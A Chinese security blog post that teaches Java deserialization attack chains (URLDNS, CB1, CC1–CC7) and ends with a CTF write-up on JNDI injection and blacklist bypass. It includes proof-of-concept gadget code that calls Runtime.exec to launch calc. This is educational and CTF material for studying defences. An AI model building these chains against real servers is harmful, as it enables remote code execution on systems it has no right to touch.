分类 反序列化链分析于实战 下的文章 - Yu4xr安全博客
首页
关于我
Search
1
java基础漏洞代码审计
1,333 阅读
2
Java反序列化攻击链:深入剖析与实战
1,120 阅读
3
第十五届巅峰极客wp_web
822 阅读
4
欢迎使用 Typecho
133 阅读
5
text
112 阅读
默认分类
ctf
src漏洞挖掘
内网渗透
代码审计
反序列化链分析于实战
Java组件安全
登录
找到
1
篇与
反序列化链分析于实战
相关的结果
Java反序列化攻击链:深入剖析与实战
反序列化链分析于实战
admin
1年前
6
1,120
102
2024-11-27
Java反序列化攻击链:深入剖析与实战 1.java的反射机制 1.1. 反射的基本概念 反射允许程序在运行时(而不是编译时)动态地: 1.获取类的信息 2.创建对象 3.调用方法,当像protected,private修饰的方法的时候不能直接调用就可以采取反射的形式调用。但是反射无法访问被强封装的类和成员。这些类通常位于Java的内部包中,例如sun.或com.sun. 4.访问/修改字段 5.甚至可以访问私有成员 1.2.反射实际用例 Evil类 package com.example.shiro550.shiro; import java.io.*; public class Evil implements Serializable{ public String cmd; private void readObject(java.io.ObjectInputStream stream) throws Exception{ stream.defaultReadObject(); Runtime.getRuntime().exec(cmd); } //set protected void setCmd(String cmd) throws IOException { this.cmd = cmd; Runtime.getRuntime().exec(cmd); } } //首先获取class对象,通过 Class 对象,我们可以在运行时动态地获取和操作evil类的结构 Class clz = Class.forName("com.example.shiro550.shiro.Evil"); //再通过class对象获取constructor,再通过constructor构造器来创建实例 Constructor testConstructor = clz.getConstructor(); Object testreadobject = testConstructor.newInstance();//newInstance方法来创建一个 Evil 类的实例 // 再通过class对象获取类中私有方法,参数类型为 String Method setCmdmethond = clz.getDeclaredMethod("setCmd", String.class); // 设置私有方法可访问 setCmdmethond.setAccessible(true); //最后通过invoke方法调用类中setCmd的方法执行calc setCmdmethond.invoke(testreadobject,"calc"); //通过class对象获取类的属性 Field[] fileds = clz.getDeclaredFields(); for (Field field: fileds) { System.out.println(field.getName()); } 1.3cc链中 通过InvokerTransformer类进行反射调用 // 方法一:直接使用 InvokerTransformer 调用 Runtime r = Runtime.getRuntime(); // 获取 Runtime 实例 // 通过 InvokerTransformer 调用 Runtime.exec() 方法 new InvokerTransformer( "exec", // 要调用的方法名 new Class[]{String.class}, // 方法参数类型 new Object[]{"calc"} // 方法参数值 ).transform(r); // 传入 Runtime 实例执行转换 // 方法二:使用 ChainedTransformer 串联多个转换器 Transformer[] transformers = new Transformer[] { // 1. 获取 Runtime 类对象 new ConstantTransformer(Runtime.class), // 2. 获取 getRuntime 方法 new InvokerTransformer( "getMethod", // 调用 Class.getMethod() new Class[] {String.class, Class[].class}, // 参数类型:方法名和参数类型数组 new Object[] {"getRuntime", new Class[0]} // 参数值:getRuntime 方法名和空参数 ), // 3. 调用 getRuntime 方法获取 Runtime 实例 new InvokerTransformer( "invoke", // 调用 Method.invoke() new Class[] {Object.class, Object[].class}, // 参数类型:调用对象和参数数组 new Object[] {null, new Object[0]} // 参数值:静态方法故为 null,无参数 ), // 4. 执行命令 new InvokerTransformer( "exec", // 调用 Runtime.exec() new Class[] {String.class}, // 参数类型:命令字符串 new Object[] {"calc.exe"} // 参数值:要执行的命令 ) }; // 将转换器数组封装成 ChainedTransformer Transformer transformerChain = new ChainedTransformer(transformers); // 执行转换链,触发命令执行 transformerChain.transform(null); // 初始输入为 null,因为第一个转换器是 ConstantTransformer2.java的字节码class文件动态加载 2.1.Java文件编译命令 使用 javac Hello.java 将Java源文件编译为class文件 2.2. 加载class文件的三种方法 方法一:使用URLClassLoader,使用URL指定class文件所在目录,通过loader.loadClass()方法加载类,适用于加载指定目录下的类文件 import java.io.File; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; public class LoadTest { public static void main(String[] args) { try { // 指定class文件所在目录(注意:需要指定目录,而不是具体文件) File file = new File("C:\\Users\\32289\\Desktop"); URL url = file.toURI().toURL(); // 创建URLClassLoader try (URLClassLoader loader = new URLClassLoader(new URL[]{url})) { // 加载Hello类 Class<?> helloClass = loader.loadClass("Hello"); // 调用main方法 Method mainMethod = helloClass.getMethod("main", String[].class); mainMethod.invoke(null, (Object) new String[]{}); } } catch (Exception e) { e.printStackTrace(); } } }方法二:直接使用defineClass import java.nio.file.Files; import java.nio.file.Paths; public class LoadTest { static class MyClassLoader extends ClassLoader { public Class<?> defineClass(byte[] bytes) { return defineClass(null, bytes, 0, bytes.length); } } public static void main(String[] args) { try { // 读取class文件 byte[] bytecodes = Files.readAllBytes(Paths.get("Hello.class")); // 加载类 MyClassLoader loader = new MyClassLoader(); Class<?> clazz = loader.defineClass(bytecodes); System.out.println("成功加载类: " + clazz.getName()); } catch (Exception e) { e.printStackTrace(); } } }方法三:使用自定义ClassLoader + defineClass,直接读取class文件的字节码,通过重写findClass方法实现类加载,使用defineClass将字节码转换为Class对象。TemplatesImpl执行类作为反序列化最后常用的执行点,最终加载恶意的class文件也是类似于这种办法。 import java.nio.file.Files; import java.nio.file.Paths; import java.lang.reflect.Method; public class LoadTest { public static void main(String[] args) { try { // 直接读取class文件的字节码 byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\32289\\Desktop\\Hello.class")); // 创建自定义类加载器 ClassLoader loader = new ClassLoader() { @Override protected Class<?> findClass(String name) { return defineClass(name, bytes, 0, bytes.length); } }; // 加载类 Class<?> helloClass = loader.loadClass("Hello"); // 调用main方法 Method mainMethod = helloClass.getMethod("main", String[].class); mainMethod.invoke(null, (Object) new String[]{}); } catch (Exception e) { e.printStackTrace(); } } }TemplatesImpl中的关键代码: public class TransletClassLoader extends ClassLoader { private final SecurityManager _security; public TransletClassLoader(SecurityManager security) { _security = security; } public Class<?> defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); } } private void daefineTransletClasses() { *// 获取字节码* byte[][] bytecodes = getBytecodes(); *// 使用defineClass直接加载字节码* _class[i] = loader.defineClass(null, bytecodes[i], 0, bytecodes[i].length); }3.java反序列化链思路 3.1.入口点(Entry Point): 反序列化操作的起始位置,通常是 readObject() 方法。 当目标应用调用某个类的 readObject() 方法,且该类重写了 readObject() 方法时,就会触发自定义的反序列化逻辑。 寻找入口点: 寻找那些直接或间接调用 readObject() 方法的地方,例如: ObjectInputStream.readObject() 一些框架或组件中自定义的反序列化逻辑如(shiro,fastjson) 例子: // Evil.java (可被攻击的类) package EvilSerializtion; import java.io.*; public class Evil implements Serializable { public String cmd; private void readObject(java.io.ObjectInputStream stream) throws Exception { stream.defaultReadObject(); Runtime.getRuntime().exec(cmd); // 执行命令 } }当对 Evil 类的序列化数据进行反序列化时,readObject() 方法会被调用,从而执行命令。 3.2利用链/Gadget Chain: 从入口点到执行点的一系列方法调用,就像一条链条一样将两者串联起来。利用链中的每个环节都承上启下,最终导向恶意代码的执行。 寻找Gadget: 寻找可利用的类和方法,这些类和方法通常具有以下特点: 实现了 Serializable 接口,可以被序列化和反序列化。 拥有一些“神奇”的方法,例如 invoke()、newInstance()、get()、set() 等,可以用来反射调用其他方法或修改对象属性。 方法之间存在调用关系,可以构成一条完整的利用链。 构造Gadget Chain: 将多个Gadget组合起来,形成一条从入口点到执行点的完整调用链。这通常需要深入分析目标应用的依赖库和代码,寻找潜在的可利用点。 常见Gadget库和框架: Apache Commons Collections Apache Commons Beanutils Spring Framework Fastjson Jackson … 3.3执行点(Sink): 真正执行恶意操作的地方,例如代码执行(RCE)、命令执行、文件操作、敏感信息泄露等。 常见执行点: Runtime.getRuntime().exec():执行命令 ProcessBuilder.start():执行命令 Method.invoke():反射调用方法 ClassLoader.loadClass():加载类 File、FileInputStream、FileOutputStream 等文件操作类 4. URLDNS 链 原理: java.util.HashMap 重写了 readObject 方法,在反序列化时会调用 hash 函数计算 key 的 hashCode。而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名,从而发出 DNS 请求。攻击者可以通过构造恶意的 URL 对象作为 HashMap 的 key,触发 DNS 解析,将受害者机器的信息发送到攻击者控制的 DNS 服务器。 Gadget Chain: dns图片 content_copyUse code with caution.Mermaid 跟踪链: ObjectInputStream.readObject() HashMap.readObject() HashMap.putVal() // putVal 内部调用 hash() HashMap.hash() URL.hashCode() URLStreamHandler.hashCode() URLStreamHandler.getHostAddress() InetAddress.getByName() // DNS 解析发生在这里URLDNS 链利用流程: 构造恶意 URL 对象: 攻击者创建一个 URL 对象,其域名指向攻击者控制的 DNS 服务器。 创建 HashMap 对象: 攻击者将恶意 URL 对象作为 key,任意对象作为 value,放入 HashMap 中。 序列化 HashMap 对象: 攻击者将 HashMap 对象序列化为字节流。 反序列化 HashMap 对象: 受害者机器反序列化攻击者提供的字节流。 触发 DNS 解析: 在反序列化过程中,HashMap 会调用 readObject 方法,进而调用 hash 方法计算 URL 对象的 hashCode。URL.hashCode 会调用 getHostAddress 解析域名,向攻击者控制的 DNS 服务器发送 DNS 请求。 5.commons-beanutils:1.9.x的cb1链 执行流程: img图片 5.1主要是三个部分,从后往前推 步骤一:TemplatesImpl类: 执行恶意代码的执行点 (能否调用成功依赖于JDK版本, JDK<16 TemplatesImpl这个执行类才可以执行成功) 恶意类.newInstance(): 要执行恶意代码,需要先实例化恶意类。 TemplatesImpl.defineTransletClasses() --> loader.defineClass() / 恶意类.newInstance(): defineTransletClasses() 方法负责定义和加载恶意类,并最终实例化它。 其中 loader.defineClass() 是加载字节码的关键点。 TemplatesImpl.getTransletInstance() --> TemplatesImpl.defineTransletClasses(): 如果 _translet 为空,getTransletInstance() 会调用 defineTransletClasses()。 TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance(): newTransformer() 方法会触发 getTransletInstance() 的调用。 TemplatesImpl.getOutputProperties() --> TemplatesImpl.newTransformer(): getOutputProperties() 方法最终会调用 newTransformer()。 找到关键点:需要找到一种方法调用 TemplatesImpl.getOutputProperties()。 步骤二:寻找可以调用 TemplatesImpl.getOutputProperties() 的 Gadget点 JavaBean 技术和 getProperty() 方法: JavaBean 规范中,getProperty() 方法可以用于获取对象的属性值。 PropertyUtils.getProperty(o1, "outputProperties") --> TemplatesImpl.getOutputProperties(): 如果 o1 是 TemplatesImpl 对象,且 property 为 "outputProperties",那么 PropertyUtils.getProperty() 会通过反射调用 TemplatesImpl.getOutputProperties() 方法。(这里实际调用的是 getter 方法)。 找到 Gadget:PropertyUtils.getProperty() 可以作为 Gadget 使用。 步骤三:寻找触发 Gadget 的入口点 BeanComparator.compare() --> PropertyUtils.getProperty(o1, property): BeanComparator 的 compare() 方法内部使用了 PropertyUtils.getProperty() 来比较 JavaBean 的属性。 PriorityQueue.heapify() --> BeanComparator.compare(): PriorityQueue 的 heapify() 方法在调整堆结构时会使用比较器进行比较。 PriorityQueue.readObject() --> PriorityQueue.heapify(): PriorityQueue 的 readObject() 方法在反序列化过程中会调用 heapify()。 找到入口点:PriorityQueue.readObject() 主要涉及的技术点: Java 反序列化: 将序列化的数据重新转换为对象的过程。 JavaBeans: 一种符合特定规范的 Java 类,通过 getter 和 setter 方法暴露属性。 TemplatesImpl: Apache Xalan 库中的一个类,可以加载并执行字节码。 BeanComparator: Apache Commons Beanutils 库中的一个比较器,可以根据 JavaBean 属性进行比较。 PriorityQueue: Java 集合框架中的一个类,实现了优先队列。 5.2全部的调用链: 入口点:PriorityQueue 类的 readObject() 方法(依赖于 JRE) 触发反序列化: 当 PriorityQueue 对象被反序列化时,会自动调用 readObject() 方法。 调用链:利用 Apache Commons Beanutils (依赖于 org.apache.commons.beanutils) 触发 TemplatesImpl PriorityQueue.readObject() --> PriorityQueue.heapify() PriorityQueue.heapify() --> BeanComparator.compare() (使用了 BeanComparator 作为比较器) BeanComparator.compare() --> PropertyUtils.getProperty(o1, property) (其中 o1 为 TemplatesImpl 对象,property 为 "outputProperties") PropertyUtils.getProperty(o1, property) --> TemplatesImpl.getOutputProperties() (通过反射调用) 执行链:TemplatesImpl 的恶意字节码加载和执行 (依赖于 JRE) TemplatesImpl.getOutputProperties() --> TemplatesImpl.newTransformer() TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance() TemplatesImpl.getTransletInstance() --> TemplatesImpl.defineTransletClasses() (如果 _translet 为空) TemplatesImpl.defineTransletClasses() --> loader.defineClass() (使用自定义的 ClassLoader 加载字节码) TemplatesImpl.defineTransletClasses() --> 恶意类.newInstance() (实例化恶意类) 恶意代码执行: 在恶意类实例化过程中,静态代码块或构造函数会被执行。5.3gadet调用链部分比较重要的点 用到了javabean技术,getProperty方法获取目标类o1( TemplatesImpt类 )的属性值的方法(会调用TemplatesImpt类里面的geoutputPropertiest属性的方法‘) 起到承上启下连接链的作用,承上:接收BeanComparator的比较请求,启下:触发 TemplatesImpl 的危险方法。 在较新版本的 JDK 中,JDK 16 及之后: 移除了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类执行点 跟链思路:先从下往上,再寻找到gadget调用链承上启下,再寻找入口点连接起来,从后往前推找到谁调用了这个方法一直到readobject方法就可以截至 5.4JDK 版本限制 JDK 16 及之后: TemplatesImpl 类访问收到限制,该类默认情况下被强封装,需要特殊配置才能访问。到了jdk16就需要使用其他执行类。 jdk15的情况下生成的cb1的反序列能够成功执行,但是到了jdk16之后就会报错: image-20241126215130614图片 报错信息分析: InaccessibleObjectException: Unable to make sun.reflect.annotation.AnnotationInvocationHandler accessible 表明无法通过反射访问这个内部类。CB链调用的过程中间接的利用到了sun.reflect.annotation.AnnotationInvocationHandler这个内部类,在新版本中,这个内部类被严格封装,默认不允许反射访问。 6.commons-collections:3.1反序列化链的进化史 6.1cc1链 cc1反序列化gadet调用链: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoe() Runtime.exec()cc1调用链: cc1图片 CC1 链执行流程图片 入口点:ObjectInputStream.readObject() 反序列化调用链: ObjectInputStream.readObject() --> AnnotationInvocationHandler.readObject() AnnotationInvocationHandler.readObject() --> Map(Proxy).entrySet() Map(Proxy).entrySet() --> AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.invoke() --> LazyMap.get() 执行链: LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> 依次执行: ConstantTransformer.transform() InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod() InvokerTransformer.transform() --> Method.invoke() --> Runtime.getRuntime() InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec()cc1链中比较重要的点 AnnotationInvocationHandler类的动态代理技术:readObject() 方法会读取 memberValues 属性(即动态代理对象),并调用该对象的 entrySet() 方法。动态代理将方法调用转发给 AnnotationInvocationHandler 的 invoke() 方法: invoke() 方法调用 LazyMap 的 get() 方法: invoke() 方法逻辑会调用 LazyMap 的 get() 方法,触发恶意 Transformer 链的执行。 LazyMap 的触发: 利用 LazyMap 的特性,在 get() 操作时触发 transform() 方法,从而启动执行链 transform链:通过装载多个transformer加反射调用Runtime().getruntime()来执行命令 6.2cc3链 CC3 链与 CC1 链的结构类似,主要区别在于执行阶段的最后一个 Transformer,cc3主要是通过TemplatesImpl 来加载恶意字节码,使得攻击者可以更加灵活地控制反射调用的过程。 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() TemplatesImpl.getOutputProperties() (or newTransformer())cc3图片 CC3 链详细分解: 入口点与反序列化阶段(与 CC1 相同): ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() 执行阶段(与 CC1 不同): LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> 依次执行: ConstantTransformer.transform(): 返回 TemplatesImpl 类。 InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod(): 通过反射获取 TemplatesImpl 类的 getOutputProperties() 或 newTransformer() 方法。 InvokerTransformer.transform() --> Method.invoke() --> TemplatesImpl.getOutputProperties() 或 TemplatesImpl.newTransformer(): 调用 TemplatesImpl 对象的 getOutputProperties() 或 newTransformer() 方法。 TemplatesImpl 的关键作用: TemplatesImpl 是 javax.xml.transform 包下的一个类,用于加载和执行 XSLT 模板。 攻击者可以将恶意字节码注入到 TemplatesImpl 对象的 _bytecodes 属性中。 当 TemplatesImpl 的 getOutputProperties() 或 newTransformer() 方法被调用时,会触发恶意字节码的加载和执行。 CC3 链的核心要点: 利用 TemplatesImpl 加载恶意字节码,绕过了一些对 Runtime.exec() 的限制。 仍然依赖于 AnnotationInvocationHandler 作为反序列化入口点,因此也受限于 JDK 版本。 6.3cc5链 cc5链相比较于前面的cc1和cc3链,使用了不同的反序列化入口点,不再依赖于 AnnotationInvocationHandler,从而可以绕过 JDK 对 CC1 和CC3对AnnotationInvocationHandler的修复。 ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()cc5图片 CC5 链详细分解: 入口点: ObjectInputStream.readObject() 读取序列化对象。 反序列化阶段: ObjectInputStream.readObject() --> BadAttributeValueExpException.readObject(): 当反序列化 BadAttributeValueExpException 类型的对象时,会调用其 readObject() 方法。 BadAttributeValueExpException.readObject() --> TiedMapEntry.toString(): BadAttributeValueExpException 类中有一个 val 属性,该属性的类型是 Object。攻击者可以将一个 TiedMapEntry 对象赋值给 val 属性。在 BadAttributeValueExpException.readObject() 方法中会调用 val.toString()。 TiedMapEntry.toString() --> LazyMap.get(): TiedMapEntry 的 toString() 方法会调用其内部 Map 的 get() 方法,这里的 Map 实际上是一个 LazyMap 对象,key 是 TiedMapEntry 本身。 执行阶段(与 CC1 相同): LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> 依次执行: ConstantTransformer.transform() InvokerTransformer.transform() --> Method.invoke() --> Class.getMethod() InvokerTransformer.transform() --> Method.invoke() --> Runtime.getRuntime() InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec() CC5 链的核心要点: 利用 BadAttributeValueExpException 作为新的反序列化入口点,绕过了 JDK 对 AnnotationInvocationHandler 的修复。 通过 TiedMapEntry 的 toString() 方法触发 LazyMap 的 get() 方法。 仍然使用 Transformer 链执行任意命令 6.4cc6链 CC6 链利用 HashSet 和 HashMap 的特性来触发反序列化漏洞。 CC6 反序列化 Gadget 调用链: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()cc6图片 CC6 链详细分解: 入口点: ObjectInputStream.readObject() 读取序列化对象。 反序列化阶段: ObjectInputStream.readObject() --> HashSet.readObject(): 当反序列化 HashSet 类型的对象时,会调用其 readObject() 方法。 HashSet.readObject() --> HashMap.put(): HashSet 内部使用 HashMap 来存储元素。在 readObject() 过程中,会调用 HashMap 的 put() 方法添加元素。 HashMap.put() --> HashMap.hash(): 为了计算元素的哈希值,HashMap.put() 会调用 HashMap.hash() 方法。 HashMap.hash() --> TiedMapEntry.hashCode(): 如果 HashMap 中存储的是 TiedMapEntry 对象,那么 HashMap.hash() 会调用 TiedMapEntry.hashCode() 方法。 TiedMapEntry.hashCode() --> TiedMapEntry.getValue(): TiedMapEntry.hashCode() 方法会调用 TiedMapEntry.getValue() 方法获取值。 TiedMapEntry.getValue() --> LazyMap.get(): TiedMapEntry 内部持有一个 Map 对象,getValue() 方法会调用该 Map 的 get() 方法,这里的 Map 实际上是一个 LazyMap 对象,key 是 TiedMapEntry 本身。 执行阶段(与 CC1 相似): LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> InvokerTransformer.transform() --> Method.invoke() --> Runtime.exec() CC6 链的核心要点: 利用 HashSet 和 HashMap 的反序列化过程作为入口点。 通过 HashMap 计算 TiedMapEntry 哈希值时触发 LazyMap.get()。 仍然使用 Transformer 链执行任意命令。 6.5cc7链 CC7 链利用 Hashtable 和 AbstractMapDecorator 的特性来触发反序列化漏洞。 CC7 反序列化 Gadget 调用链: ObjectInputStream.readObject() Hashtable.readObject() Hashtable.reconstitutionPut() AbstractMapDecorator.equals() AbstractMap.equals() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Method.invoke() DelegatingMethodAccessorImpl.invoke() NativeMethodAccessorImpl.invoke() NativeMethodAccessorImpl.invoke0() Runtime.exec()cc7图片 CC7 链详细分解: 入口点:ObjectInputStream.readObject() 读取序列化对象。 反序列化阶段: ObjectInputStream.readObject() --> Hashtable.readObject():当反序列化 Hashtable 类型的对象时,会调用其 readObject() 方法。 Hashtable.readObject() --> Hashtable.reconstitutionPut():Hashtable 在反序列化过程中会调用 reconstitutionPut() 方法重新构建内部的键值对。 Hashtable.reconstitutionPut() --> AbstractMapDecorator.equals():Hashtable 在 reconstitutionPut() 中会使用 equals() 方法比较键是否相等。如果 Hashtable 中的键是一个 AbstractMapDecorator 对象(如 LazyMap 或 TransformedMap),那么会调用其 equals() 方法。 AbstractMapDecorator.equals() --> AbstractMap.equals():AbstractMapDecorator 的 equals() 方法会调用 AbstractMap.equals() 方法进行进一步比较。 AbstractMap.equals() --> LazyMap.get():在 AbstractMap.equals() 方法中,如果比较的另一个对象也是一个 Map,会调用其 get() 方法获取值进行比较。这里的 Map 实际上是一个 LazyMap 对象,key 是 AbstractMapDecorator 对象本身。 执行阶段: LazyMap.get() --> ChainedTransformer.transform() ChainedTransformer.transform() --> InvokerTransformer.transform() --> Method.invoke():调用 InvokerTransformer 执行反射调用。 Method.invoke() --> DelegatingMethodAccessorImpl.invoke() --> NativeMethodAccessorImpl.invoke() --> NativeMethodAccessorImpl.invoke0() --> Runtime.exec():这一系列调用最终会执行 Runtime.exec() 方法。这是 Java 反射调用过程中的底层实现细节。 CC7 链的核心要点: 利用 Hashtable 的反序列化机制作为入口点。 通过 Hashtable 在反序列化过程中调用 equals() 方法来触发 LazyMap.get()。 仍然使用 Transformer 链执行任意命令。 6.6jdk版本限制 随着jdk版本更新cc1链被修复 JDK 8u71 及之后: CC1 链和CC3链使用的是相同的入口gadet片段导致失效。JDK 8u71 修复了 AnnotationInvocationHandler 的漏洞,导致依赖于它的 CC1 和 CC3 链失效。这是因为 AnnotationInvocationHandler 的 memberValues 字段的类型受到了限制,阻止了恶意利用。 image-20241127094041601图片 jdk16及之后:和cb链一样因为内部类的严格封装,sun.reflect.annotation.AnnotationInvocationHandler类被封装到内部类,不能再反射调用,导致CC5,CC6,CC7失效。 image-20241126222027505图片 6.7总结 cc3.1反序列化链逻辑图图片 对 CC3、CC5、CC6 和 CC7 链进行总结如下: 链入口点触发方式执行方式JDK 限制CC1AnnotationInvocationHandler.readObject()Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get()Runtime.exec()JDK 8u71 之后修复CC3AnnotationInvocationHandler.readObject()Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get()TemplatesImpl 加载字节码JDK 8u71 之后修复CC5BadAttributeValueExpException.readObject()TiedMapEntry.toString() -> LazyMap.get()Runtime.exec()JDK16后修复CC6HashSet.readObject()HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get()Runtime.exec()JDK16后修复CC7Hashtable.readObject()Hashtable.reconstitutionPut() -> AbstractMapDecorator.equals() -> AbstractMap.equals() -> LazyMap.get()Runtime.exec()JDK16后修复通用特点: 都利用了 Apache Commons Collections 库中的 LazyMap 和 ChainedTransformer、InvokerTransformer 等类。 差异: 入口点不同: 每个链使用了不同的类作为反序列化的入口点,这是为了绕过 JDK 对之前链的修复。 触发方式不同: 每个链通过不同的方式触发 LazyMap 的 get() 方法,从而启动 Transformer 链。 执行方式: CC3 主要利用 TemplatesImpl 加载恶意字节码执行命令,而其他链(CC1、CC5、CC6、CC7)通常利用 Runtime.exec(),但技术上也可以使用 TemplatesImpl来加载恶意的字节码实现命令执行,内存马注入等. 7.commons-collections4.0:反序列化链 7.1CC2 链 CC2 反序列化 Gadget 调用链: ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Class.getMethod() Method.invoke() Runtime.getRuntime() Method.invoke() Runtime.exec()cc2图片 入口点:ObjectInputStream.readObject() 反序列化调用链: ObjectInputStream.readObject() --> PriorityQueue.readObject() PriorityQueue.readObject() --> PriorityQueue.heapify() PriorityQueue.heapify() --> PriorityQueue.siftDown() PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator() PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare() 执行链: TransformingComparator.compare() --> InvokerTransformer.transform() InvokerTransformer.transform() --> 依次执行: Method.invoke() --> Class.getMethod() Method.invoke() --> Runtime.getRuntime() Method.invoke() --> Runtime.exec()content_copyUse code with caution.Java CC2 链中比较重要的点: PriorityQueue 的利用: PriorityQueue 是一个优先队列,在反序列化时会进行堆排序。 TransformingComparator 的作用: TransformingComparator 是一个比较器,在 PriorityQueue 进行排序时会调用其 compare 方法,从而触发 InvokerTransformer 的 transform 方法。 InvokerTransformer 的反射调用: 与 CC1 链类似,InvokerTransformer 通过反射调用 Runtime.getRuntime().exec() 方法执行命令。 7.2 CC4 链 CC4 反序列化 Gadget 调用链: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InstantiateTransformer.transform() Constructor.newInstance() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() DefineTransletClasses.defineClass()cc4图片 入口点:ObjectInputStream.readObject() 反序列化调用链: ObjectInputStream.readObject() --> PriorityQueue.readObject() PriorityQueue.readObject() --> PriorityQueue.heapify() PriorityQueue.heapify() --> PriorityQueue.siftDown() PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator() PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare() 执行链: TransformingComparator.compare() --> InstantiateTransformer.transform() InstantiateTransformer.transform() --> Constructor.newInstance() Constructor.newInstance() --> TemplatesImpl.newTransformer() TemplatesImpl.newTransformer() --> TemplatesImpl.getTransletInstance() TemplatesImpl.getTransletInstance() --> DefineTransletClasses.defineClass()CC4 链中比较重要的点: InstantiateTransformer 的利用: CC4 链与 CC2 链的结构类似,主要区别在于执行阶段使用了 InstantiateTransformer 而不是 InvokerTransformer。 TemplatesImpl 加载字节码: InstantiateTransformer 会调用指定类的构造函数创建对象。在 CC4 中,这个类是 TemplatesImpl,攻击者可以将恶意字节码注入到 TemplatesImpl 对象的 _bytecodes 属性中,然后通过调用 newTransformer() 方法触发恶意字节码的加载和执行。 7.3 JDK 限制 随着 JDK 版本更新,CC2 和 CC4 链也受到了一定的限制: JDK 16 及之后: CC2链和CC4链和cb链一样因为内部类的严格封装,sun.reflect.annotation.AnnotationInvocationHandler类被封装到内部类,不能再反射调用,导致CC链失效。 7.4 总结 链入口点触发方式执行方式JDK 限制CC2PriorityQueue.readObject()PriorityQueue.heapify() -> ... -> TransformingComparator.compare() -> InvokerTransformer.transform()Runtime.exec()JDK16后失效CC4PriorityQueue.readObject()PriorityQueue.heapify() -> ... -> TransformingComparator.compare() -> InstantiateTransformer.transform()TemplatesImpl 加载字节码JDK16后失效通用特点: 都利用了 PriorityQueue 的反序列化过程作为入口点。 都利用了 TransformingComparator 作为触发器。 差异: 执行方式不同: CC2 利用 InvokerTransformer 执行 Runtime.exec(),而 CC4 利用 InstantiateTransformer 和 TemplatesImpl 加载恶意字节码。 8.java反序列的payload一键生成利用工具 web Chains地址:Java-Chains/web-chains: Web 版 Java Payload 生成与漏洞利用工具,提供 Java 反序列化、Hessian 1/2 反序列化等 Payload 生成,以及 JNDI Exploit、Fake Mysql Exploit、JRMPListener 等相关利用 image-20241122190952420图片 image-20241122191532090图片 9.反序列化和jndi实战例题 2024赣州杯 byp4ss 9.1配置动态调试 拿到jar包之后解压: image-20241123220118347图片 解压之后idea中打开这个项目: image-20241124094623878图片 项目结构->模块->添加classes和lib依赖: image-20241123220335117图片 添加远程调试 image-20241123220535557图片 然后通过以下命令运行jar包 java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar byp4ss.jar打上断点就可调试 image-20241123220745389图片 9.2indexController路由存在漏洞点 参数base64,jndi image-20241123102700500图片 9.3思路一:jndi远程注入 Byp4ssApplication image-20241124174707575图片 System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false")这个设置的含义是:禁止 LDAP 引用远程对象时进行反序列化操作,可以尝试传统的远程加载jndi服务。 传统的远程加载jndi服务加载类的方法要依赖于启动jar包的java版本,只要java版本小于:1.8u191就可以攻击成功 9.4思路二:java原生反序列化攻击 需要将重点放在反序列化攻击上,寻找绕过resolveClass中类名检测的方法 代码中禁止了以下类的反序列化: ConcurrentSkipListMap HashMap HashTable org.apache.commons.collections.functors 包下的类寻找不在黑名单gadet中的链条 根据lib依赖的组件和版本使用工具生成反序列化链 image-20241124172250403图片 image-20241124172503372图片 image-20241124175130207图片 9.5绕过禁用的反序列化类 生成传入报错因为禁用了hashmap类的反序列化 image-20241124191457481图片 